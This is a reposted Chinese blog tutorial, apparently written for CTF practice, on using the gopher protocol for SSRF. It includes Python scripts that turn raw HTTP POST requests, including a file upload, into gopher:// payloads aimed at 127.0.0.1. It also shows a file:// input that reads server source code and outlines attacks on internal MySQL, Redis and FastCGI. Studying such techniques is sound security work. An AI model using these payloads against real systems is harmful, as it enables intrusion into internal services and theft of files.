首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

gopher协议总结

  • 25-02-16 18:21
  • 2804
  • 12215
blog.csdn.net

文章目录

      • 定义
      • 发送GET请求和POST请求
      • 构造一个提交文件的POST请求
      • gopher打FastCGI
      • gopher打redis
      • gopher打mysql
      • 参考文章

定义

gopher协议是一种信息查0找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面

利用:

攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求
  • 1

发送GET请求和POST请求

gopher协议的格式:gopher://IP:port/_TCP/IP数据流

GTE请求

构造HTTP数据包

URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束

发送gopher协议, 协议后的IP一定要接端口
  • 1
  • 2
  • 3
  • 4
  • 5

POST请求

POST与GET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数

切记:Content-Length和POST的参数长度必须一致
  • 1
  • 2
  • 3
  • 4
  • 5

例子:

使用file协议读取源码:?url=file:///var/www/html/index.php

python脚本生成payload(POST和GTE请求都适用)

import urllib.parse

payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLFL漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

构造一个提交文件的POST请求

首先抓取一个正常提交文件的数据包,然后使用上述脚本将其转换为gopher协议的格式

import urllib.parse
​
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0BDuCoolR1Vg7or
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge-a09b30b9de9fb026.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
​
------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
​
hello world!
------WebKitFormBoundaryz0BDuCoolR1Vg7or
Content-Disposition: form-data; name="submit"
​
submit
------WebKitFormBoundaryz0BDuCoolR1Vg7or--
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

gopher打FastCGI

看我这一篇

gopher打redis

看我这一篇

gopher打mysql

gopher打mysql,就是利用gopher协议传shell到mysql中。

首先Mysql存在三种连接方式

  • Unix套接字;
  • 内存共享/命名管道;
  • TCP/IP套接字;

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。

  • 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
  • 当无需密码认证时直接发送TCP/IP数据包即可

这儿对localhost和127.0.0.1做一个区别

localhost也叫local ,正确的解释是:本地服务器。
127.0.0.1的正确解释是:本机地址(本机服务器),它的解析通过本机的host文件,windows自动将localhost解析为127.0.0.1。
localhot(local)是不经网卡传输的,这点很重要,它不受网络防火墙和网卡相关的的限制。127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制
简单说
当我们通过mysql -hlocalhost -uname去连接的时候,没有经过网卡,使用的是unix套接字连接,这种时候我们tcpdump是抓不到包的
当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。
mysql -h 127.0.0.1 -uname
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

我们平常打mysql最常用的就是打无密码的mysql

但是我们在用gopher还是需要用dict协议去得到mysql的端口(默认是3306)

直接使用的gopherus工具

在这里插入图片描述

直接快速生成payload

参考的CTF题

ISITDTU CTF Friss

从一道CTF题目看Gopher攻击MySql

参考文章

https://xz.aliyun.com/t/9554#toc-0(重要)

注:本文转载自blog.csdn.net的Z3eyOnd的文章"https://blog.csdn.net/unexpectedthing/article/details/121667791#gopherFastCGI_99"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top